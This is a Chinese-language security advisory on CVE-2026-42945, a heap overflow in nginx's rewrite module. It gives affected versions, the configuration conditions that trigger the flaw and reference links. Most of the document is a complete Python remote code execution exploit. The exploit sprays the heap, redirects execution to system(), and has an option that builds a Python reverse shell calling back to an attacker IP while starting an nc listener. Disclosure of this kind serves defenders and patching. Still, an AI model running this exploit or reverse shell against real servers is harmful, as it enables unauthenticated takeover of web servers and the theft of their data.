
0x00 前言
Nginx是一款由俄罗斯开发者伊戈尔·赛索耶夫于2004年开源的高性能Web服务器、反向代理服务器和负载均衡器,同时支持IMAP/POP3/SMTP邮件代理;它采用事件驱动的异步非阻塞架构,配合Master-Worker多进程模型,能在极低资源占用下高效处理数万级并发连接,内置虚拟主机、URL重写、缓存、限流等丰富功能,支持热部署与平滑升级,以BSD协议开源,是全球最流行的Web服务器之一,被众多大型互联网企业广泛采用。
ngx_http_rewrite_module是Nginx的核心模块之一,用于通过PCRE正则表达式修改请求URI、执行重定向以及条件性地选择配置。该模块提供了 break、if、return、rewrite、set等指令,支持在server、location或if上下文中配置,可实现URL重写、域名跳转、防盗链、访问控制等功能,其处理过程遵循先执行server级指令,再循环匹配location并执行其指令的顺序,重写循环最多执行10次,超过则返回500错误。
0x01 漏洞描述
Nginx服务器的rewrite模块配置满足特定条件时,攻击者可以通过发送精心构造的HTTP请求触发堆缓冲区溢出。具体而言,当rewrite指令后跟随rewrite、if或set指令,并且使用了未命名的Perl兼容正则表达式(PCRE)捕获组(如1或2),同时替换字符串中包含问号(?)字符时,可触发该漏洞,攻击者无需身份认证即可发起攻击。
0x02 CVE编号
CVE-2026-42945
0x03 影响版本
1.0.0 <= NGINX Open Source <= 1.30.0
0.6.27 <= NGINX Open Source <= 0.9.7
R32 <= NGINX Plus < R32 P6
R36 <= NGINX Plus < R36 P4
其他受影响组件:
2.16.0 <= NGINX Instance Manager <= 2.21.1
5.9.0 <= F5 WAF for NGINX <= 5.12.1
4.9.0 <= NGINX App Protect WAF <= 4.16.0
5.1.0 <= NGINX App Protect WAF <= 5.8.0
F5 DoS for NGINX 4.8.0
4.3.0 <= NGINX App Protect DoS <= 4.7.0
1.3.0 <= NGINX Gateway Fabric <= 1.6.2
2.0.0 <= NGINX Gateway Fabric <= 2.5.1
3.5.0 <= NGINX Ingress Controller <= 3.7.2
4.0.0 <= NGINX Ingress Controller <= 4.0.1
5.0.0 <= NGINX Ingress Controller <= 5.4.10x04 漏洞详情
POC:
https://github.com/DepthFirstDisclosures/Nginx-Rift
利用条件:
在 Nginx 的配置中,必须存在一个rewrite指令,并且该指令同时满足:
1、使用了未命名的 PCRE 正则捕获(例如 $1, $2 等)。
2、其替换字符串中包含问号(?)。
3、在此 rewrite 指令之后,紧跟着另一个 rewrite、if 或 set 指令。#!/usr/bin/env python3
import argparse
import socket
import struct
import time
import sys
BODY_LEN = 4000
N_SPRAY = 20
SAFE = set()
_t = [0xffffffff, 0xd800086d, 0x50000000, 0xb8000001,
0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff]
for _b in range(256):
if not (_t[_b >> 5] & (1 << (_b & 0x1f))):
SAFE.add(_b)
HEAP_BASE = 0x555555659000
LIBC_BASE = 0x7ffff77ba000
SYSTEM_ADDR = LIBC_BASE + 0x50d70
PREREAD_HEAP_OFFSETS = [
0x05a427, 0x060e67,
0x0ba557, 0x0bf367, 0x0c4177, 0x0c8f87, 0x0cdd97,
0x0d2ba7, 0x0d79b7, 0x0dc7c7, 0x0e15d7, 0x0e63e7,
0x0eb1f7, 0x0f0007, 0x0f4e17, 0x0f9c27, 0x0fea37,
0x103847, 0x108657, 0x10d467,
]
def addr_is_safe(addr):
return all(((addr >> (j * 8)) & 0xff) in SAFE for j in range(6))
def make_body(cmd, data_addr):
fake_struct = struct.pack('<QQQ', SYSTEM_ADDR, data_addr, 0)
cmd_bytes = cmd.encode('utf-8') + b'\x00'
payload = fake_struct + cmd_bytes
if len(payload) > BODY_LEN:
print(f"[!] Command too long (body={len(payload)}, max={BODY_LEN})")
sys.exit(1)
return payload + b'\x41' * (BODY_LEN - len(payload))
def wait_alive(host, port, timeout=30):
for _ in range(timeout):
try:
s = socket.create_connection((host, port), timeout=2)
s.sendall(b"GET / HTTP/1.1\r\nHost:l\r\nConnection:close\r\n\r\n")
s.recv(100)
s.close()
return True
except Exception:
time.sleep(1)
return False
def attempt(host, port, target_bytes, body):
sprays = []
for i in range(N_SPRAY):
try:
s = socket.create_connection((host, port), timeout=5)
req = (
b"POST /spray HTTP/1.1\r\n"
b"Host: l\r\n"
b"Content-Length: " + str(BODY_LEN).encode() + b"\r\n"
b"X-Delay: 60\r\n"
b"Connection: close\r\n"
b"\r\n"
+ body
)
s.sendall(req)
sprays.append(s)
except Exception:
break
time.sleep(0.005)
time.sleep(0.2)
try:
a = socket.create_connection((host, port), timeout=5)
time.sleep(0.02)
v = socket.create_connection((host, port), timeout=5)
time.sleep(0.02)
except Exception:
for s in sprays:
try:
s.close()
except Exception:
pass
return False
payload = "A" * 349 + "+" * 969 + target_bytes.decode("latin-1")
a.sendall((f"GET /api/{payload} HTTP/1.1\r\n"
f"Host:localhost\r\n").encode("latin-1"))
time.sleep(0.05)
v.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\n")
time.sleep(0.05)
a.sendall(b"X-Delay:60\r\nConnection:close\r\n\r\n")
time.sleep(0.2)
v.close()
time.sleep(0.1)
crashed = False
try:
a.sendall(b"X-Ping:1\r\n")
a.settimeout(0.2)
data = a.recv(1)
if not data:
crashed = True
except socket.timeout:
# It timed out. Nginx is either alive (waiting for backend) or hung in system().
# Let's try to make a new connection to see if the worker is responsive.
try:
check_sock = socket.create_connection((host, port), timeout=0.2)
check_sock.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\nConnection:close\r\n\r\n")
check_data = check_sock.recv(10)
check_sock.close()
if not check_data:
crashed = True
else:
crashed = False
except Exception:
crashed = True
except (ConnectionResetError, BrokenPipeError, OSError):
crashed = True
for s in sprays:
try:
s.close()
except Exception:
pass
try:
a.close()
except Exception:
pass
return crashed
def main():
parser = argparse.ArgumentParser(
description="nginx rift RCE exploit (ASLR disabled)"
)
parser.add_argument("--host", default="127.0.0.1",
help="target host (default: 127.0.0.1)")
parser.add_argument("--port", type=int, default=19321,
help="target port (default: 19321)")
parser.add_argument("--cmd",
help="shell command to execute via system()")
parser.add_argument("--shell", action="store_true",
help="execute a reverse shell back to the attacker")
parser.add_argument("--listen-port", type=int, default=1337,
help="port to listen on for reverse shell (default: 1337)")
parser.add_argument("--listen-ip", type=str, default="172.17.0.1",
help="IP address for reverse shell to connect back to (default: 172.17.0.1)")
args = parser.parse_args()
if not args.cmd and not args.shell:
parser.error("either --cmd or --shell must be specified")
if args.cmd and args.shell:
parser.error("cannot specify both --cmd and --shell")
host = args.host
port = args.port
if args.shell:
local_ip = args.listen_ip
cmd = f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{local_ip}\",{args.listen_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
print(f"[*] Generated reverse shell command: {cmd}")
else:
cmd = args.cmd
if args.shell:
import threading
def listen_shell():
print(f"[*] Listening for reverse shell on port {args.listen_port}...")
# Use netcat if available, otherwise just use a simple socket listener
import subprocess
try:
subprocess.run(["nc", "-l", "-p", str(args.listen_port)], check=True)
except Exception:
print(f"[!] Could not start netcat. Please run: nc -l -p {args.listen_port}")
t = threading.Thread(target=listen_shell)
t.daemon = True
t.start()
# Give the listener a moment to start
time.sleep(1)
candidates = []
for i, off in enumerate(PREREAD_HEAP_OFFSETS):
addr = HEAP_BASE + off
if addr_is_safe(addr):
candidates.append((i, addr))
primary_addr = candidates[0][1]
data_addr = primary_addr + 24
body = make_body(cmd, data_addr)
print(f"[*] Waiting for nginx on {host}:{port}...")
if not wait_alive(host, port):
print("[!] nginx not responding")
return 1
print("[+] Connected.")
TRIES_PER_CANDIDATE = 10
for i, addr in candidates:
target = bytes([(addr >> (j * 8)) & 0xff for j in range(6)])
for t in range(TRIES_PER_CANDIDATE):
if not wait_alive(host, port, timeout=10):
time.sleep(2)
if not wait_alive(host, port, timeout=10):
print(" server not recovering, aborting")
return 1
crashed = attempt(host, port, target, body)
if crashed:
if args.shell:
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
pass
else:
print(f"[+] try {t + 1}/{TRIES_PER_CANDIDATE} "
f"crashed — system(\"{cmd}\") executed")
print(f"[+] Done.")
return 0
time.sleep(0.3)
print("[+] All candidates tried — no crash detected.")
return 0
if __name__ == "__main__":
sys.exit(main())
0x05 参考链接
https://nginx.org/en/security_advisories.html
https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability
https://my.f5.com/manage/s/article/K000161019